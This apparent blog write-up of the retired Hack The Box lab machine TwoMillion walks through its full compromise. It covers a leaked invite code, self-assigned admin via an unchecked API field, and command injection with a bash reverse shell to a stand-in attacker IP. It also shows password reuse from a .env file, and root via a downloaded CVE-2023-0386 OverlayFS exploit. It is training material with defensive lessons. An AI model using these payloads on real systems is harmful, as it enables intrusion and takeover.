root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat twomillion.md
// writeups

TwoMillion

7 Jun 2023 · 10 min read
TwoMillion - maquina de Hack The Box

Executive summary — TwoMillion is an Easy Linux box recreating the old Hack The Box site and its famous invite code. The registration JavaScript hides an endpoint that leaks the generation instructions (ROT13-encoded) for a code that itself arrives Base64-encoded; once registered, the admin API doesn't validate privileges and lets us self-assign is_admin=1, and the VPN-generation endpoint suffers a command injection in the username parameter giving RCE as www-data. A .env file leaks a password reused for SSH, and root comes via CVE-2023-0386 (OverlayFS/FUSE), hinted at in an internal system mail. An invite code (ROT13/Base64) → registration → admin API (is_admin=1) → command injection → www-data → .env → SSH admin → OverlayFS → root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.7.225

Attack map

[22,80] nmap → 2million.htb (clone of the old HTB site)
   │  obfuscated JS → /invite/how/to/generate (ROT13) → /invite/generate (b64 code)
   │  register → enumerate /api/v1 → PUT /admin/settings/update (is_admin=1)
   │  POST /admin/vpn/generate → command injection (username)
   ▼
[RCE]  www-data → .env (admin:SuperDuperPass123) reused
   ▼
[SSH]  admin  (user.txt)
   │  internal mail → OverlayFS/FUSE hint → CVE-2023-0386 (SUID)
   ▼
[ROOT]  root.txt

1. Recon

A fast full-port scan first, then a detailed scan on just the open ports: faster than running -sCV against all 65535 ports at once.

nmap -p- --min-rate 10000 -T4 10.129.7.225 -oN nmap.txt
22/tcp open ssh
80/tcp open http
nmap -sCV -p22,80 10.129.7.225
22/tcp OpenSSH 8.9
80/tcp nginx

The web server redirects to a vhost that doesn't exist yet in our local DNS:

http://2million.htb
echo '10.129.7.225 2million.htb' | sudo tee -a /etc/hosts
ping -c1 2million.htb

2. The invite code: JS, ROT13, and Base64

http://2million.htb is a replica of the old Hack The Box site: registration requires an invite code. Browser dev tools show AJAX requests to /api/v1/invite; inspecting the JavaScript reveals another endpoint that's never called from the UI:

/api/v1/invite/how/to/generate

Why it matters: the "how do I generate a code" logic lives server-side as an API, not hidden behind a button. If the endpoint exists, it can be called directly with curl, bypassing the UI entirely.

curl -X POST http://2million.htb/api/v1/invite/how/to/generate
{
 "data":"Va beqre gb trarengr gur vaivgr pbqr..."
}

That's ROT13. Decoded, the message gives the real instruction:

In order to generate the invite code, make a POST request to /api/v1/invite/generate
curl -s -X POST http://2million.htb/api/v1/invite/generate
{
 "code":"ME1FRzQtQlJTQzMtSEhZSkQtUzQ1UUQ="
}

The code itself comes Base64-encoded:

echo "ME1FRzQtQlJTQzMtSEhZSkQtUzQ1UUQ=" | base64 -d
0MEG4-BRSC3-HHYJD-S45QD

3. Registration and API enumeration

With the valid code we register at /invite (code, username, e-mail, password) and reach the dashboard. Once authenticated, we enumerate the API surface:

curl -s http://2million.htb/api/v1

Among the listed endpoints are admin routes:

/api/v1/admin/auth
/api/v1/admin/settings/update
/api/v1/admin/vpn/generate

Why this matters: we're a regular user and those admin endpoints still respond to our requests — the API isn't enforcing role-based access, it's just relying on the web client not surfacing them.

We grab the session cookie from the browser (F12 → Application → Cookies → PHPSESSID) to use with curl:

COOKIE='PHPSESSID=<your_cookie>'

4. Privilege escalation — is_admin=1

curl -s http://2million.htb/api/v1/admin/auth \
  -H "Cookie: $COOKIE"
{
 "admin":0
}

The bug: the endpoint that updates our own profile accepts the is_admin field without checking that whoever is setting it already has admin rights. An authorization flag ends up fully client-controlled.

curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
  -H "Cookie: $COOKIE" \
  -H "Content-Type: application/json" \
  -d '{"email":"you@mail.com","is_admin":1}'
curl -s http://2million.htb/api/v1/admin/auth \
  -H "Cookie: $COOKIE"
{
 "admin":1
}

We're admins now.

5. Command injection → RCE as www-data

The VPN generation endpoint is admin-only:

/api/v1/admin/vpn/generate

The RCE: the username parameter is concatenated, unsanitised, into a system command that builds the VPN config file. Any command-separator character (;) breaks out of the intended context.

nc -lvnp 4444
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -H "Cookie: $COOKIE" \
  -H "Content-Type: application/json" \
  -d '{"username":"test;bash -c '\''bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'\'';"}'
www-data@2million

We stabilise the shell before enumerating further:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
whoami  →  www-data

6. Lateral movement — .env → SSH admin

find / -name ".env" 2>/dev/null
/var/www/html/.env
cat /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

That database password is reused for the system user admin: there's no separation between app credentials and system credentials on this box.

ssh admin@10.129.7.225   # SuperDuperPass123
cat ~/user.txt

7. Root escalation — CVE-2023-0386 (OverlayFS)

uname -r
5.15.70-051570-generic

Checking the system's internal mail turns up a pending maintenance note:

cat /var/mail/admin

The message explicitly mentions an unpatched OverlayFS / FUSE vulnerability, pointing straight at CVE-2023-0386.

What CVE-2023-0386 is: a Linux kernel OverlayFS bug that lets you copy, from a manipulated FUSE layer, a binary with elevated permissions into an attacker-controlled mount point. The outcome is a root-owned SUID binary runnable by any user — direct escalation to root.

We prepare the exploit on Kali:

git clone https://github.com/xkaneiki/CVE-2023-0386.git
cd CVE-2023-0386
tar czf exp.tar.gz *
python3 -m http.server 8000

Then transfer it to the victim:

cd /tmp
wget http://<ATTACKER_IP>:8000/exp.tar.gz
mkdir exp
tar xzf exp.tar.gz -C exp
cd exp

Compile (produces exp, fuse, and gc):

make all

Run in two terminals: first the manipulated FUSE mount, then the exploit.

./fuse ./ovlcap/lower ./gc &
[+] len of gc: 0x3ee0
./exp

The root-owned SUID binary is now in place; we run it and check privileges:

id
uid=0(root)
gid=0(root)

8. Root flag

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Web reconInvite JSInternal endpoints exposed (how/to/generate) behind ROT13/Base64Registration without a human invite
WebAdmin APINo privilege validation: is_admin self-assignableApp admin escalation
Web/admin/vpn/generateCommand injection in the username parameterRCE as www-data
Lateral.envCleartext credentials reused between app and systemSSH as admin
PrivEscKernel (OverlayFS/FUSE)CVE-2023-0386Root

Lessons learned

  • Obfuscating JavaScript isn't security: the endpoints are still there and answer curl just as well as the UI.
  • Never trust the client for authorization: a regular user shouldn't be able to flag itself as admin through its own profile API.
  • Trivial ciphers (ROT13) aren't access control: at most they obfuscate a developer hint, they should never gate anything real.
  • Always sanitise input before passing it to a system command: a single ; in username is enough for RCE.
  • Never reuse passwords between application credentials (.env) and system accounts.
  • Keep the kernel patched: OverlayFS/FUSE (CVE-2023-0386) gives trivial local root on vulnerable versions.